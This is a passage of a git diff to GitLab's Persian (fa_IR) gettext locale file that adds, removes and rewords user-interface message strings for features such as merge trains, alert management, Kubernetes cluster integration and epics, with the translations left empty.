-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/fa_IR/gitlab.po b/locale/fa_IR/gitlab.po
index 6debc0dbe1a..6cefc3c8791 100644
--- a/locale/fa_IR/gitlab.po
+++ b/locale/fa_IR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: fa\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:38\n"
+"PO-Revision-Date: 2020-09-04 23:02\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
